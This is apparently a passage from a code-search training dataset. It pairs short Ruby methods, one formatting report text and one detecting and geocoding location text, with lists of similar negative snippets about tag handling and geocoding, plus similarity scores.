new_tag.split(/ /).map { |t| t.sub(/^@?/, '@') }.join(' ')\n else\n tagged[:transformed].concat(new_tag.split(/ /).map { |t| t.sub(/^@/, '') })\n tagged[:transformed] = tagged[:transformed].uniq\n m[0]\n end\n end\n end\n end\n\n logger.debug('Autotag:', \"whitelisted tags: #{tagged[:whitelisted].log_tags}\") unless tagged[:whitelisted].empty?\n logger.debug('Autotag:', \"synonyms: #{tagged[:synonyms].log_tags}\") unless tagged[:synonyms].empty?\n logger.debug('Autotag:', \"transforms: #{tagged[:transformed].log_tags}\") unless tagged[:transformed].empty?\n logger.debug('Autotag:', \"transform replaced: #{tagged[:replaced].log_tags}\") unless tagged[:replaced].empty?\n\n tail_tags = tagged[:synonyms].concat(tagged[:transformed])\n tail_tags.sort!\n tail_tags.uniq!\n\n text.add_tags!(tail_tags) unless tail_tags.empty?\n\n if text == original\n logger.debug('Autotag:', \"no change to \\\"#{text.strip}\\\"\")\n else\n new_tags = tagged[:whitelisted].concat(tail_tags).concat(tagged[:replaced])\n logger.debug('Autotag:', \"added #{new_tags.log_tags} to \\\"#{text.strip}\\\"\")\n logger.count(:autotag, level: :info, count: 1, message: 'autotag updated %count %items')\n end\n\n text.dedup_tags\n end",
"def tags(*tags)\n if tags.size == 0\n attribute('tags')\n else\n tags = tags[0] if tags.size == 1 && tags[0].kind_of?(Array)\n attribute 'tags', tags.map { |tag| tag.to_s }\n end\n end",
"def tag_names=(rhs)\n self.tags= rhs.strip.split(/\\s*,\\s*/).map do|tag_name|\n\n # Finds the first record with the given attributes or initializes a \n # record (Tag.new) with the attributes if one is not found\n Tag.find_or_initialize_by(name: tag_name)\n# if a tag with name tag_name is not found,\n# it will call Tag.new(name: tag_name) \n\n end\n\nend",
"def tags=(value)\n value = value.split(',') if value.is_a?(String)\n\n write_attribute(:tags, Taggable.sanitize_tag_list(Array(value)))\n end",
"def tag_names=(tags)\n tag_array = tags.split(\",\").map{|tag| tag.strip}\n tag_array.each do |tag|\n new_tag = Tag.find_or_create_by(name: tag)\n if self.tags.include?(new_tag)\n next\n end\n self.tags << new_tag\n self.owner.tags << new_tag\n end\n end",
"def all_tags=(names)\n self.tags = names.split(\",\").map do |name|\n name.gsub!(/[!@%&\"']/,'')\n name.downcase!\n Tag.where(name: name.strip).first_or_create!\n end\n end",
"def tags=(list)\n tag(self.class.name)\n tag(*list)\n end",
"def tag_name=(tag_name)\n self.tag = Tag.find_by_name!(tag_name)\n end",
"def assign_tags\n if self.text\n self.tag_s = self.text.scan(/\\s+\\#\\S+/).join(' ')\n end\n true\n end",
"def tag(arg)\n @tag = arg.to_s\n self\n end",
"def tag_names=(tag_names)\n self.tags = tag_names.map do |tag_name|\n tag_name.strip!\n self.tags.find_or_create_by(name: tag_name)\n end\n end",
"def tag_set(p_tag_sym, p_val) tag.send(\"#{p_tag_sym.to_s}=\", p_val) end",
"def parse(tags); end",
"def tag_names=(tags=[])\n self.entity_tags = tags.map do |name|\n tag = Tag.find_or_initialize_by name: name\n self.entity_tags.new(tag: tag)\n end\n end",
"def tags_text\n\t\tself.tags.join(', ') #convertir el arreglo en una cadena de texto separado por ,\n\tend",
"def parse_tags(klass, incoming_tags)\n tags = []\n self.invalid_tags ||= []\n klass_symbol = klass.to_s.downcase.pluralize.to_sym\n tag_array = incoming_tags.is_a?(String) ? incoming_tags.split(ArchiveConfig.DELIMITER_FOR_INPUT) : incoming_tags\n tag_array.each do |string|\n string.strip!\n unless string.blank?\n tag = klass.find_or_create_by_name(string)\n if tag.valid?\n tags << tag if tag.is_a?(klass)\n else\n self.invalid_tags << tag\n end\n end\n end\n if self.preview_mode\n self.placeholder_tags ||= {}\n self.placeholder_tags[klass_symbol] = tags.uniq\n else\n # we have to destroy the taggings directly in order to trigger the callbacks\n remove = self.send(klass_symbol) - tags\n remove.each do |tag|\n tagging = Tagging.find_by_tag(self, tag)\n tagging.destroy if tagging\n end\n self.send(klass_symbol.to_s + '=', tags.uniq)\n end\n end",
"def tags=(new_tags)\n raise 'Tags must be an array!' unless new_tags.is_a?(Array)\n raise 'Tags must be up to 20 items!' unless new_tags.size < 20\n raise 'Tag length must not be over 50 characters!' unless new_tags.select { |v| v.length > 50 }.empty?\n\n @tags = new_tags unless new_tags.empty?\n end",
"def filtered_tags=(filtered_tags)\n assert_unloaded\n @filtered_tags = names_to_tags(filtered_tags)\n end"
] |
[
"0.7514243",
"0.71550465",
"0.71046567",
"0.7040175",
"0.70397997",
"0.7021614",
"0.70192045",
"0.6996078",
"0.69692415",
"0.6927975",
"0.6927975",
"0.68893254",
"0.6795511",
"0.6760451",
"0.6732776",
"0.6692041",
"0.6654514",
"0.6650355",
"0.6649944",
"0.6649065",
"0.6642582",
"0.6614758",
"0.6595243",
"0.6590781",
"0.6562895",
"0.6550643",
"0.6535769",
"0.6535135",
"0.6514883",
"0.65014565",
"0.64890844",
"0.64126533",
"0.64126533",
"0.64126533",
"0.64081055",
"0.6392745",
"0.6392745",
"0.63777024",
"0.63725126",
"0.63551027",
"0.63260585",
"0.63260585",
"0.632361",
"0.6311885",
"0.63077426",
"0.63071066",
"0.63027656",
"0.6301024",
"0.6295849",
"0.6286558",
"0.62630063",
"0.62630063",
"0.6260706",
"0.6256836",
"0.6246533",
"0.6227843",
"0.62254256",
"0.62252474",
"0.62237966",
"0.62047887",
"0.6202686",
"0.6180991",
"0.61752284",
"0.6175149",
"0.6169398",
"0.6169398",
"0.6164034",
"0.6164034",
"0.6164034",
"0.6164034",
"0.6164034",
"0.6164034",
"0.616234",
"0.61610097",
"0.61542",
"0.61542",
"0.61395586",
"0.6125775",
"0.6117926",
"0.6116231",
"0.6116231",
"0.61134416",
"0.61124575",
"0.61069006",
"0.6101112",
"0.60921776",
"0.6073575",
"0.60650337",
"0.6061129",
"0.60575444",
"0.6056767",
"0.60531",
"0.60486317",
"0.6041429",
"0.6027003",
"0.602151",
"0.6020816",
"0.6020634",
"0.60111153"
] |
0.7154296
|
3
|
Subsititute text for reports that have none
|
def display_text
return self.text unless self.text.blank?
[wait_time ? "#{wait_time} minute wait time" : nil,
rating ? "rating #{rating}" : nil,
polling_place ? "polling place: #{polling_place.name}" : nil].compact.join(', ')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def text\n @text || @report\n end",
"def nothing_text\n nil\n end",
"def text_only\n @text_only = @text.gsub(@@PRIREG, '')\n #.gsub(@@CONREG, '').gsub(@@PROREG, '')\n end",
"def test_no_text_samples\n no_text_samples = [\"go.mod\", \"go.sum\"]\n Samples.each do |sample|\n if sample[:language] == \"Text\"\n refute_includes no_text_samples, sample[:filename], \"#{sample[:filename]} should NOT be added as a sample for #{sample[:language]}\"\n end\n end\n end",
"def raw_text\n \"\"\n end",
"def text_reports\n form_text_ids = @form_data.select do |field|\n field[:type] == 'text'\n end.map { |field| field['id'] }\n\n @report_data.select do |report_field|\n form_text_ids.include? report_field.report_id\n end\n end",
"def tpl_text; ''; end",
"def tpl_text; ''; end",
"def tpl_text; ''; end",
"def has_text?; end",
"def sublibrary_text(sublibrary)\n (sublibrary.web_text.empty?) ? sublibrary.code : sublibrary.web_text.html_safe\n end",
"def without_instruction(text)\n text.gsub(/^you (should|must)/i, '').gsub(/\\.$/, '')\n end",
"def get_text_for_indexing\n text = self.body.strip\n text.sub!(/Dear .+,/, \"\")\n text.sub!(/[^\\n]+1049\\/2001[^:\\n]+:? ?/, \"\") # XXX: can't be more specific without locale\n self.remove_privacy_sensitive_things!(text)\n return text\n end",
"def want_involved_text_is_not_displayed\n\n page.should_not have_content(read_file_content(WANT_TO_GET_INVOLVED_TEXT_PATH))\n\n end",
"def report_nothing_to_generate\n report \"Nothing to generate.\"\n end",
"def fill_in_missing_transcriptions\n text=\" \\n\"\n empty_items=self.master_files.where(:transcription_text => nil)\n if empty_items.count > 0\n empty_items.each do |item|\n item.transcription_text=text unless item.transcription_text\n item.save! \n item.reload\n if item.exists_in_repo?\n Fedora.add_or_update_datastream(item.transcription_text, item.pid,\n 'transcription', 'Transcription', :contentType => 'text/plain',\n :mimeType => 'text/plain', :controlGroup => 'M')\n end\n end\n end\n end",
"def skip_include_blank?; end",
"def subtitle\n {}\n end",
"def work_entry_title_nonfiling(field)\n return unless passes_work_entry_title_nonfiling_constraint?(field)\n case field.tag\n when '440'\n collect_and_join_subfield_values(field, %w[a n p])\n when '245'\n collect_and_join_subfield_values(field, %w[a f g k n p])\n when /(130|240|730|830)/\n collect_and_join_subfield_values(field, %w[a d f g h k l m n o p r s])\n when '740'\n collect_and_join_subfield_values(field, %w[a h n p])\n when /(773|780)/\n collect_and_join_subfield_values(field, 'p')\n end\n end",
"def text\n ignores = [\n :text, :to_solr, :contribs, :img_src, :media_srcs,\n :captions_src, :transcript_src, :rights_code,\n :access_level, :access_types, :title, :ci_ids, :display_ids,\n :instantiations, :outside_url,\n :reference_urls, :exhibits, :special_collection, :access_level_description,\n :img_height, :img_width, :player_aspect_ratio,\n :player_specs, :transcript_status, :transcript_content,\n :playlist_group, :playlist_order, :playlist_map,\n :playlist_next_id, :playlist_prev_id, :supplemental_content, :contributing_organization_names,\n :contributing_organizations_facet, :contributing_organization_names_display, :producing_organizations,\n :producing_organizations_facet, :build_display_title\n ]\n\n @text ||= (PBCore.instance_methods(false) - ignores)\n .reject { |method| method =~ /\\?$/ } # skip booleans\n .map { |method| send(method) } # method -> value\n .select { |x| x } # skip nils\n .flatten # flattens list accessors\n .map { |x| x.respond_to?(:to_a) ? x.to_a : x } # get elements of compounds\n .flatten.uniq.sort\n end",
"def resource_text\n nil\n end",
"def text_content\n body = doc.css(\"body\")\n text_table = body.css(\".grf-indent > div:nth-child(1)\")[0]\n if text_table.present?\n remove_metadata(text_table)\n remove_creator(text_table)\n text_table.inner_html\n end\n end",
"def analysis_text_log\n @analysis_text_log ||= \"\\t*****************************\\r\\n\\t Team Analysis Report\\r\\n\\t*****************************\\r\\n\"\n end",
"def process_text_log\n @process_text_log ||= \"\\t*****************************\\r\\n\\t Swimmer Merge Report\\r\\n\\t*****************************\\r\\n\"\n end",
"def textilize_without_paragraphs\n\t\tunless self.nil? or self.empty?\n\t\t string = self.textilize\n\t\t string = string[3..-1]\n\t\t string = string[0..-5]\n\t\telse\n\t\t \"\"\n\t end\n\tend",
"def stripped_text_blocks\n stripped = []\n text_blocks.each do |tb|\n if \"Boston Police Department\" == tb && %r{^\\d+/\\d+/\\d{4} } =~ stripped.last\n # skip\n stripped.pop\n elsif /, Police Commissioner/ =~ tb\n # skip\n elsif /^Selected & Sorted By:/ =~ tb\n # skip\n elsif /^Record Count:/ =~ tb\n # skip\n stripped.pop if /^\\d+$/ =~ stripped.last\n elsif /^(Date:|Reported|Occurred)$/ =~ tb\n # skip\n else\n stripped << tb\n end\n end\n stripped\n end",
"def search_text_main(clipped = false)\n text = ''\n if self.event_type == 'sent' \n text = text + self.outgoing_message.get_text_for_indexing + \"\\n\\n\"\n elsif self.event_type == 'followup_sent'\n text = text + self.outgoing_message.get_text_for_indexing + \"\\n\\n\"\n elsif self.event_type == 'response'\n if clipped\n text = text + self.incoming_message.get_text_for_indexing_clipped + \"\\n\\n\"\n else\n text = text + self.incoming_message.get_text_for_indexing_full + \"\\n\\n\"\n end\n elsif self.event_type == 'comment'\n text = text + self.comment.body + \"\\n\\n\"\n else\n # nothing\n end\n return text\n end",
"def texts; end",
"def create_cleared_text(s)\n s.gsub(/[RMQ]T @[a-zA-Z0-9_]+:.*/, '')\n .gsub(/\\. ?(@[a-zA-Z0-9_]+ )+/, '')\n .gsub(/@[a-zA-Z0-9_]+/, '')\n .gsub(%r[(https?|ftp)(:\\/\\/[-_.!~*\\'()a-zA-Z0-9;\\/?:\\@&=+\\$,%#]+)], '')\n .gsub(/#.+([ 、。]|$)/, '')\n .strip\n end",
"def get_text_only(doc)\n text = StringIO.new\n if doc.kind_of?(Hpricot::Text)\n text.printf(\"%s\\n\", doc.to_s.strip) unless doc.to_s.strip.empty?\n else\n if doc.respond_to?(:children)\n doc.children.each do |child|\n text.printf(\" %s\", get_text_only(child))\n end\n end\n end\n text.string.strip\n end",
"def removeDummyTitles(titleCount)\n\t\tif @oc[\"TitleString\"]==\"\"\n\t\t\tc=\"\"\n\t\t\t(1..titleCount).each do |i|\n\t\t\t\tc=c+\"@\" if i>1\n\t\t\t\tc=c+\"empty-notitle\"\n\t\t\tend\n\t\t\t@oc[\"TitleString\"]=c\n\t\tend\n\tend",
"def contentReport(psdFiles)\n textData = Array.new\n\n psdFiles.each do |psdFile|\n name = File.basename(psdFile)\n PSD.open(psdFile) do |psd|\n puts \"\\n[ #{name} ] Text Content =================================== \\n\\n\"\n psd.layers.each do |layer|\n textRaw = layer.adjustments[:type]\n textString = textRaw.to_s()\n if textString == \"\"\n else\n textData.push(\"\\n#{textString}\\n\")\n end\n end\n end\n textDataClean = textData.uniq\n textDataClean.each do |d|\n puts d\n end\n end\nend",
"def format_text(text, empty=\"Unknown\")\n text.blank? ? empty : text\n end",
"def text?; end",
"def text?; end",
"def text?; end",
"def plain_text\n text ? text.gsub(/<[^>]+>/,' ').squeeze(' ').strip : nil\n end",
"def inner_text; end",
"def inner_text; end",
"def summary\n self.content.gsub(/\\r?\\n\\r?\\n(.*)/m, '') # break after the first paragraph\n end",
"def empty_header_lines(txt)\n txt.gsub(/^\\[\\|[^\\]\\n]+\\](?=\\n)/, '')\n end",
"def report_title; end",
"def report_title; end",
"def get_text_for_indexing(strip_salutation = true, opts = {})\n if opts.empty?\n text = body.strip\n else\n text = body(opts).strip\n end\n\n # Remove salutation\n text.sub!(/Dear .+,/, \"\") if strip_salutation\n # TODO: can't be more specific without locale\n text.sub!(/[^\\n]+1049\\/2001[^:\\n]+:? ?/, \"\")\n # Remove email addresses from display/index etc.\n self.remove_privacy_sensitive_things!(text)\n\n text\n end",
"def no_incidents_text(user, status)\n case status\n when \"draft\"\n \"You don't have any incident drafts yet. Click the red NEW INCIDENT button at the top to create one.\"\n when \"in_review\"\n \"You don't have any incidents #{user.admin? ? 'to review' : 'awaiting review'} right now.\"\n when \"approved\"\n \"#{user.admin? ? 'No incidents in your department' : 'None of your incidents'} are ready for \" \\\n \"state submission yet.\"\n end\n end",
"def sprint_process_text(doc)\n # there is at least one <pre> with MMS text if text has been included by\n # the user. (note) we'll have to verify that if they attach multiple texts \n # to the MMS then Sprint stacks it up in multiple <pre>'s. The only <pre> \n # tag in the document is for text from the user.\n doc.search(\"/html/body//pre\").each do |pre|\n type = 'text/plain'\n text = pre.inner_html.strip\n next if text.empty?\n type, text = transform_text(type, text)\n type, file = sprint_write_file(type, text.strip)\n add_file(type, file) unless type.nil? || file.nil?\n end\n end",
"def notextile\n str = yield\n \"<notextile>#{str.to_s}</notextile>\" if str && str.any?\n end",
"def text\n @filtered_text\n end",
"def export_as_refworks_marc_txt\n return '' unless to_marc\n super\n end",
"def export_as_apa_citation_txt\n return '' unless to_marc\n super\n end",
"def search_content\n ''\n end",
"def filter_text txt\n txt.split(\"\\n\").reject { |l| l =~ /^[ ]*$/ or l =~ /^[ ]*#(.*?)$/ }\n end",
"def textOnly(document)\n document.search(\"text()\")\n end",
"def reject_empty_text(arr)\n arr.reject { |x| x.type == :text && x.value == \"\" }\n end",
"def xpath_get_text(doc)\n \"#{doc}\"\n # begin\n # if doc.text? == false\n # return doc.content\n # else\n # return \"\"\n # end\n # rescue\n # return \"\"\n # end\n end",
"def tex_cleanup\n puts ' cleanup obsolete stuff in LaTeX'\n document.content.gsub! /\\\\textbackslash\\{}printbibliography/, '\\printbibliography'\n document.content.gsub! /\\\\textbackslash\\{}cite\\\\\\{(.*?)\\\\}/, '\\cite{\\1}'\n\n puts ' increase heading levels'\n # for the annual report the level of headings of the project reports need to be increased\n # a) headings within a project need to be named paragraphs\n document.content.gsub! /\\\\subsection{(.*)}\\\\label/, '\\subsubsection{\\1}~\\\\\\label'\n # b) project titles need to be two levels down\n document.content.gsub! /\\\\section{(.*)}\\\\label/, '\\subsection{\\1}\\label' # TODO: do we need that here?\n\n # to fix multiple occurrences of labels in the aggregated report, we prepend each label with\n # the project's slug\n document.content.gsub! /\\\\label{([\\w-]*)}/, \"\\\\label{#{document.data['slug']}-\\\\1}\"\n\n # wrap the project's report in it's own _biblatex_ reference section\n document.content.prepend(\"\\\\begin{refsection}[projects/#{document.data['slug']}]\\n\\n\")\n document.content += \"\\n\\\\end{refsection}\\n\"\n\n # add the project's title\n document.content.prepend(\"\\\\subsection{#{document.data['title']}}\\\\label{#{document.data['title'].downcase.gsub(/\\s/, '-')}}\\n\\n\")\n end",
"def text_summary\n summary = self.text\n summary = summary[(summary.index(\" \") + 1)...summary.length] if self.text[0...1] == \"@\"\n summary = (summary.length > 30 ? \"#{summary[0..30]}...\" : summary[0..30])\n summary\n end",
"def text_not_search (string,text)\n\tif $browser.text.include? string \n\t\tputs \"Error: #{text} should not be present\"\n\tend\nend",
"def get_text_for_indexing_full\n return get_body_for_quoting + \"\\n\\n\" + get_attachment_text_full\n end",
"def unfiltered_content; end",
"def unfiltered_content; end",
"def unfiltered_content; end",
"def completed_text_extraction\n end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def plain_text\n self.gsub(/\\e\\[[0-9]m|\\e\\[[34][0-7]m/, '')\n end",
"def accurate_title\n nil\n end",
"def getCleanText(path)\n lines = []\n\n File.open(path, 'r'){|file|\n file.each{|line|\n line = line.strip()\n\n # Skip empty and header lines.\n if (line == '' || line == 'WEBVTT')\n next\n end\n\n # Skip timing lines.\n if (line.match(/\\d+:\\d\\+.\\d+ --> \\d+:\\d\\+.\\d+/))\n next\n end\n\n lines << line\n }\n }\n\n return lines.join(\"\\n\")\nend",
"def output_text\n return strip_ordered_list_tag if ordered_list?\n return strip_unordered_list_tag if unordered_list?\n return @line.sub(InlineExampleRegexp, \"\") if inline_example?\n return strip_raw_text_tag if raw_text?\n return @line\n end",
"def get_text_for_indexing_clipped\n return get_body_for_quoting + \"\\n\\n\" + get_attachment_text_clipped\n end",
"def matched_text\n to_nil _response_entity.fetch(\"matchedText\", nil)\n end",
"def text_only(html)\n Nokogiri::HTML.parse(html).text.gsub(/\\A\\p{Space}+|\\p{Space}+\\z/, '')\n .strip\n end",
"def all_text\r\n @texts.inject(\"\") {|r, text| r += text + \"\\n\" }\r\n end",
"def plain_text\n _search_parts_keys(/plain/i)\n end",
"def textReport(psdFiles)\n textData = Array.new\n\n psdFiles.each do |psdFile|\n name = File.basename(psdFile)\n PSD.open(psdFile) do |psd|\n puts \"\\n[ #{name} ] Text Report =================================== \\n\\n\"\n psd.layers.each do |layer|\n textRaw = layer.adjustments[:type]\n textString = textRaw.to_s()\n\n fontRaw = layer.text\n fontString = fontRaw.to_s()\n fontstring = fontString.gsub!(':font=>{:name=>\"', \"spliter\")\n fontstring = fontString.gsub!('\", :sizes=>[', \"spliter\")\n fontstring = fontString.gsub!('], :colors=>[', \"spliter\")\n fontstring = fontString.gsub!(';\\ncolor: ', \"spliter\")\n fontstring = fontString.gsub!(';\"}, :left=>', \"spliter\")\n fontArray = fontString.split(\"spliter\")\n\n fontName = fontArray[1].to_s()\n fontSize = fontArray[2].to_s()\n fontColor = fontArray[4].to_s()\n\n if textString == \"\"\n else\n textData.push(\"\\n#{textString}\\n=> #{fontName} | #{fontSize}px | #{fontColor}\")\n end\n end\n end\n textDataClean = textData.uniq\n textDataClean.each do |d|\n puts d\n end\n end\nend",
"def special_text\n @special_text\n end",
"def curate_text\n notification_type = get_nagios_var('NAGIOS_NOTIFICATIONTYPE')\n if notification_type.eql?('ACKNOWLEDGEMENT')\n @text += self.content[:short_text][:ack_info] unless self.content[:short_text][:ack_info].empty?\n else\n [:host_info, :state_info, :additional_info, :additional_details].each do |info|\n @text += self.content[:short_text][info] unless self.content[:short_text][info].empty?\n end\n end\n end",
"def text\n @text ||= matches.inject('') {|s, m| s << m.text }\n end",
"def draw_no_data\n font = @title_font.dup\n font.size = 80\n font.bold = false\n text_renderer = Gruff::Renderer::Text.new(renderer, @no_data_message, font: font)\n text_renderer.render(@raw_columns, @raw_rows, 0, 0, Magick::CenterGravity)\n end",
"def contents_or_blank\n\t\tcontents\n\trescue Crush::DoesNotExist\n\t\t\"\"\n\tend",
"def sinking_deleting_text(thread)\n arr = []\n arr << \"sinking\" if thread.sunk?\n arr << \"deleting\" if thread.deleted?\n if arr.empty?\n \"\"\n else\n arr.to_sentence\n end\n end",
"def text\n html.gsub(REGEX_TAGS, \"\")\n end",
"def multi_source_text_check(texts)\n texts.each do |text|\n page_text = $driver.page_source\n page_text.gsub!(/<[^>]*>/, '')\n page_text.gsub!(/\\s+/, ' ')\n page_text.should include( text )\n print \".\"\n end\n end",
"def remove_bad_words(report_model = nil)\n all_words = Word.all_words\n contain_bad_words = false\n res = self.gsub(/\\b\\w+\\b/) do |word|\n if all_words.include?(word.downcase)\n contain_bad_words = true\n '***'\n else\n word\n end\n end.squeeze(' ')\n Report.where(description: 'Contain bad words', target: report_model).first_or_create if contain_bad_words\n res\n end",
"def convert_data(text)\n text.nil? ? '' : text\n end",
"def strip_question(text)\n unless text.nil?\n text2 = \"\"\n text.split(\"\\n\").each do |str|\n unless /\\d\\./.match(str[0,2])\n text2 +=str\n end\n end\n return text2\n end\n end",
"def none_of_description\n\t\treturn nil if self.none_of.empty?\n\t\treturn \" with none of: %s\" % [ self.none_of.map(&:name).join(', ') ]\n\tend"
] |
[
"0.6474945",
"0.64028114",
"0.59267384",
"0.59255177",
"0.5915293",
"0.58711326",
"0.5841709",
"0.5841709",
"0.5841709",
"0.5781059",
"0.5755428",
"0.5732838",
"0.5721059",
"0.5707525",
"0.57028747",
"0.5688036",
"0.5683634",
"0.5667491",
"0.5663682",
"0.56600434",
"0.5655464",
"0.5628521",
"0.5625387",
"0.5597345",
"0.5580371",
"0.5579305",
"0.55717474",
"0.5567491",
"0.55304694",
"0.5486731",
"0.5482123",
"0.5470058",
"0.5466525",
"0.54621017",
"0.54621017",
"0.54621017",
"0.54087955",
"0.54030144",
"0.54030144",
"0.5390998",
"0.5385744",
"0.5375815",
"0.5375815",
"0.53651434",
"0.53589946",
"0.53509724",
"0.5348397",
"0.53480995",
"0.53426224",
"0.5322991",
"0.5304188",
"0.5295275",
"0.5291199",
"0.5291152",
"0.5290373",
"0.5283967",
"0.5280633",
"0.5275872",
"0.5274877",
"0.5272759",
"0.5272759",
"0.5272759",
"0.524937",
"0.524784",
"0.524784",
"0.524784",
"0.524784",
"0.524784",
"0.524784",
"0.524784",
"0.524784",
"0.524784",
"0.524784",
"0.524784",
"0.524784",
"0.524784",
"0.524784",
"0.5241894",
"0.5235247",
"0.522784",
"0.5225768",
"0.522009",
"0.521643",
"0.521401",
"0.52088255",
"0.52075094",
"0.52056545",
"0.5203954",
"0.5187197",
"0.5182144",
"0.5181033",
"0.51802593",
"0.51800656",
"0.5179892",
"0.5178408",
"0.5176861",
"0.51662326",
"0.51552266",
"0.5153866"
] |
0.5163468
|
98
|
Detect and geocode any location information present in the report text
|
def detect_location
if self.text
LOCATION_PATTERNS.find { |p| self.text[p] }
self.location = Location.geocode($1) if $1
self.zip = location.postal_code if !self.zip && (self.location && location.postal_code)
end
if !self.location && self.zip
self.location = Location.geocode(self.zip)
end
self.location = self.reporter.location if !self.location && self.reporter && self.reporter.location
ll, self.location_accuracy = self.latlon.split(/:/) if self.latlon
true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_location(str)\n u=URI.encode(\"http://maps.google.com/maps/api/geocode/xml?sensor=false&address=#{str}\")\n loc=(Hpricot.XML(open(u)))/'//location'\n h={} \n h['lat']=(loc/:lat).inner_text\n h['lng']=(loc/:lng).inner_text\n h\n end",
"def test_location_detection\n # Google geocoder isn't returning the postal code?\n # assert_equal \"80303\", @twitter_reporter.reports.create(:body => 'Long wait in #80303').location.postal_code\n \n assert_equal \"Boston, MA 02130, USA\", @twitter_reporter.reports.create(:body => 'Insane lines at #zip-02130').location.address\n assert_equal \"90 Church Rd, Arnold, MD 21012, USA\", @twitter_reporter.reports.create(:body => 'L:90 Church Road, Arnold, MD: bad situation').location.address\n # assert_equal \"21804\", @twitter_reporter.reports.create(:body => '#zip21804 weird stuff happening').location.postal_code\n assert_equal \"Church Hill\", @twitter_reporter.reports.create(:body => 'Things are off in L:Church Hill, MD').location.locality\n # assert_equal \"94107\", @twitter_reporter.reports.create(:body => 'No 94107 worries!').location.postal_code\n # assert_equal \"21012\", @twitter_reporter.reports.create(:body => 'going swimmingly l:21012-2423').zip\n assert_equal \"Severna Park, MD, USA\", @twitter_reporter.reports.create(:body => 'Long lines at l:severna park senior HS').location.address\n assert_equal \"New York 11215, USA\", @twitter_reporter.reports.create(:body => 'wait:105 in Park Slope, Brooklyn zip11215 #votereport').location.address\n assert_equal \"Courthouse, Virginia, USA\", @twitter_reporter.reports.create(:body => 'no joy and long wait in l:courthouse, va').location.address\n # with mis-spelling:\n assert_equal \"Boulder, CO, USA\", @twitter_reporter.reports.create(:body => 'long lines at courthouse L:Bolder CO').location.address\n end",
"def parse_location(text)\n if text =~ /[a-zA-Z]/\n return location(text)\n else\n return text\n end\nend",
"def geocode\n fail\n end",
"def get_location\n location_request = Geocoder.search(gets)\n if location_request.count != 1\n \"Whoops, we couldn't pinpoint your exact location with that address. Please try again.\"\n get_location\n else\n location_lat = location_request[0].data[\"geometry\"][\"location\"][\"lat\"]\n location_lon = location_request[0].data[\"geometry\"][\"location\"][\"lng\"]\n {lat: location_lat, lon: location_lon}\n end\nend",
"def geocode(location)\n # First, try World Kit\n latlong = tryWorldKit(location)\n if latlong\n puts \"Used worldkit\"\n puts latlong\n return latlong\n else\n puts \"Used google\"\n return tryGoogle(location)\n end\n end",
"def geolocate\n \"#{self.address}\"', '\"#{self.state}\"', '\"#{self.zipcode}\"\n end",
"def location_code\n text(data.at_xpath(\"#{data_root}/did/physloc\"))\n end",
"def geocode(s)\n @geocoder.run(s)\n end",
"def locate_pins(location); end",
"def where_geocoder(query, near = nil)\n url = URI.parse GOOGLE_GEOCODER_URI\n near_query = nil\n if near && near.kind_of?(Hash)\n #near_query = \"ll=#{near[:latitude]},#{near[:longitude]}&spn=#{near[:span_latitude]},#{near[:span_longitude]}&gl=#{near[:country]}\" \n #near_query = \"ll=#{near[:latitude]},#{near[:longitude]}&spn=#{near[:span_latitude]},#{near[:span_longitude]}\" \n #near_query = \"gl=UK\"\n end\n \n response = Net::HTTP.start(url.host, url.port) do |http|\n http.get(\"#{GEOCODER_QUERY_STRING}#{CGI.escape(query)}&#{near_query}\")\n end\n\n results = JSON.parse(response.body)['Placemark']\n \n unless results.nil? || results.empty?\n results.map do |result|\n if result['AddressDetails'] && result['AddressDetails']['Accuracy'].to_i >= 0\n p = { :name => result['address'] }\n\n p[:address] = result['AddressDetails']['Country']['AdministrativeArea']['Locality']['Thoroughfare']['ThoroughfareName'] rescue nil\n p[:city] = result['AddressDetails']['Country']['AdministrativeArea']['Locality']['LocalityName'] rescue nil\n p[:region] = result['AddressDetails']['Country']['AdministrativeArea']['AdministrativeAreaName'] rescue nil\n p[:country] = result['AddressDetails']['Country']['CountryNameCode'] rescue nil\n p[:postal_code] = result['AddressDetails']['Country']['AdministrativeArea']['Locality']['PostalCode'] rescue nil\n p[:latitude] = result['Point']['coordinates'][1].to_f rescue nil\n p[:longitude] = result['Point']['coordinates'][0].to_f rescue nil\n p[:accuracy] = result['AddressDetails']['Accuracy'].to_i rescue nil\n p[:zoom] = ZOOM_FROM_ACCURACY[result['AddressDetails']['Accuracy'].to_i] #rescue 0\n\n p\n else\n nil\n end\n end\n else\n []\n end\n end",
"def perform\n geocode\n end",
"def geocode\n # address must note be blank start with a number\n return if address.index(/[1-9]/).nil?\n return if full_address.blank?\n return if not lat.nil? and not lng.nil?\n url = \"http://geocoder.ca/?locate=#{CGI.escape self.full_address}&geoit=xml&jsonp=1&auth=#{GEOCODER_CA_KEY}&callback=?\"\n # get the response and cut off the jsonp\n response = Curl.get(url).body_str.from(2).to(-3)\n json = JSON.parse response\n self.lng = json[\"longt\"]\n self.lat = json[\"latt\"]\n end",
"def geolocate(location)\n\t\tkey = \"f94d9fe40481b0a044edc8f729724335\"\n\t\tlocation = URI.escape(location, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n\t\t# location = CGI.escape(location)\n\t\t# location = URI.escape(location)\n\t\thost = \"ondemand.metacarta.com\"\n\t\tpath = \"/webservices/GeoTagger/JSON/basic?version=1.0.0\"\n\t\tpath = \"#{path}&doc=#{location}\"\n\t\tdata = {}\n\t\tbegin\n\t\t\treq = Net::HTTP::Get.new(path)\n\t\t\treq.basic_auth SITE_METACARTA_USERID, SITE_METACARTA_PASSWORD\n\t\t\thttp = Net::HTTP.start(host)\n\t\t\t#if response.is_a?(Net::HTTPSuccess)\n\t\t\t\tresponse = http.request(req)\n\t\t\t\tdata = JSON.parse(response.body)\n\t\t\t#end\n\t\trescue Timeout::Error\n\t\t\t# DO SOMETHING WISER\n\t\t\treturn 0,0\n\t\trescue\n\t\t\treturn 0,0\n\t\tend\n\t\tbegin\n\t\t\tlat = data[\"Locations\"][0][\"Centroid\"][\"Latitude\"]\n\t\t\tlon = data[\"Locations\"][0][\"Centroid\"][\"Longitude\"]\n\t\t\treturn lat,lon\n\t\trescue\n\t\tend\n\t\treturn 0,0\n\tend",
"def my_location\n\t\t\"#{address}, #{city}, GA\"\n\tend",
